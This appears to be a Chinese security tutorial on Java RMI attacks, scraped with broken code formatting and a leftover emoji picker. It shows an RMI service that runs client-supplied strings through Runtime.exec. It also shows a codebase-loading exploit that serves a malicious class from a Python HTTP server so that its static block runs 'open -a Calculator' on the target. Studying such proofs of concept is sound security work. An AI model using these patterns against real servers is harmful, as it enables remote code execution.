Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote{
String RmiDemo() throws Exception;
public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
public RMIInstance() throws RemoteException {
super();
public String RmiDemo(String cmd) throws Exception{
Runtime.getRuntime().exec(cmd);
return "+OK";
}
Code language: PHP (php)
Registry
RMI Registry就像一个RMI 电话簿,你可以使用Registry来查找另一台主机上注册的远程对象的引用,我们可以在上面注册一个Name 到对象的绑定关系,但是Registry⾃己是不会执行远程⽅法的,RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server,最后远程方法实际上在RMI Server上调用的。
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
Code language: JavaScript (javascript)
我们这边将Server 和 Registry进行组合
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class server {
public interface RMIinterface extends Remote{
String RmiDemo() throws Exception;
public class RMIInstance extends UnicastRemoteObject implements RMIinterface{
public RMIInstance() throws RemoteException {
super();
public String RmiDemo(String cmd) throws Exception{
Runtime.getRuntime().exec(cmd);
return "+OK";
public void start() throws Exception{
RMIinterface rmIinterface = new RMIInstance();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/Exp",rmIinterface);
public static void main(String[] args) throws Exception {
new server().start();
}
Code language: PHP (php)
Client
利用Naming.lookup找到对应的实例,然后调用方法,将
open -a Calculator
作为参数进行传入
import java.rmi.Naming;
public class client {
public static void main(String[] args) throws Exception{
server.RMIinterface rmIinterface = (server.RMIinterface) Naming.lookup("rmi://127.0.0.1:1099/Exp");
String res = rmIinterface.RmiDemo("open -a Calculator");
System.out.println(res);
}
Code language: JavaScript (javascript)
可以发现成功触发Server类中的方法,从而跳出计算器
Runtime.getRuntime().exec(
"open -a Calculator"
);
}
catch
(
Exception
e){
e.printStackTrace();
}
Code language:
PHP
(
php
)
那么在指定codebase的情况下,服务器就会向我们codebase所指向的地址进行请求并且加载,从而触发静态代码片段中的恶意命令从而执行命令,下面就是服务端请求的截图:
import java.rmi.RemoteException;
import java.util.
List
;
public
interface
ICalc
extends
Remote
{
public
Integer sum(
List
<Integer> params) throws RemoteException;
}
Code language:
PHP
(
php
)
Calc.java
编写一个接口的实现类
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.rmi.server.UnicastRemoteObject;
public class Calc extends UnicastRemoteObject implements ICalc {
public Calc() throws RemoteException {}
public Integer sum(List<Integer> params) throws RemoteException {
Integer sum = 0;
for (Integer param : params) {
sum += param;
return sum;
}
Code language: PHP (php)
RemoteRMIServer.java
编写远程RMI服务器,这里将Registry 与 Server 绑定在了一起
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
Calc h = new Calc(); LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
public static void main(String[] args) throws Exception {
new RemoteRMIServer().start();
}
Code language: JavaScript (javascript)
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy RemoteRMIServer
Code language: JavaScript (javascript)
IDEA配置如下:
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.hostname=192.168.1.116 -Djava.security.policy=client.policy
Code language: JavaScript (javascript)
import java.util.ArrayList;
import java.io.Serializable;
public
class
RMIClient
implements
Serializable
{
private
static
final
long serialVersionUID =
1
L;
public
class
Payload
extends
ArrayList
<
Integer
>
public
void lookup() throws
Exception
{
ICalc r = (ICalc)
Naming.lookup(
"rmi://192.168.1.116:1099/refObj"
);
List
<Integer> li =
new
Payload();
li.add(
3
);
li.add(
4
);
System.out.println(r.sum(li)); }
public
static
void main(String[] args) throws
Exception
{
new
RMIClient().lookup();
}
Code language:
PHP
(
php
)
命令行配置:
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http:
Code language: JavaScript (javascript)
IDEA配置:
IDEA 如果要debug分析的话,需要删除target文件夹下的这两个文件,因为这样会优先加载本地classpath而不去加载我们codebase指定的远程路径上的类
import java.util.ArrayList;
import java.io.Serializable;
public
class
RMIClient
implements
Serializable
{
private
static
final
long serialVersionUID =
1
L;
static
{
try
{
Runtime.getRuntime().exec(
"open -a Calculator"
);
}
catch
(
Exception
e){
e.printStackTrace();
public
class
Payload
extends
ArrayList
<
Integer
>
public
void lookup() throws
Exception
{
ICalc r = (ICalc)
Naming.lookup(
"rmi://192.168.1.116:1099/refObj"
);
List
<Integer> li =
new
Payload();
li.add(
3
);
li.add(
4
);
System.out.println(r.sum(li)); }
public
static
void main(String[] args) throws
Exception
{
new
RMIClient().lookup();
}
Code language:
PHP
(
php
)
先编译文件夹下的所有java文件,然后开启8000端口的http服务器
javac *.java
python -m SimpleHTTPServer 8000
Code language: CSS (css)
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!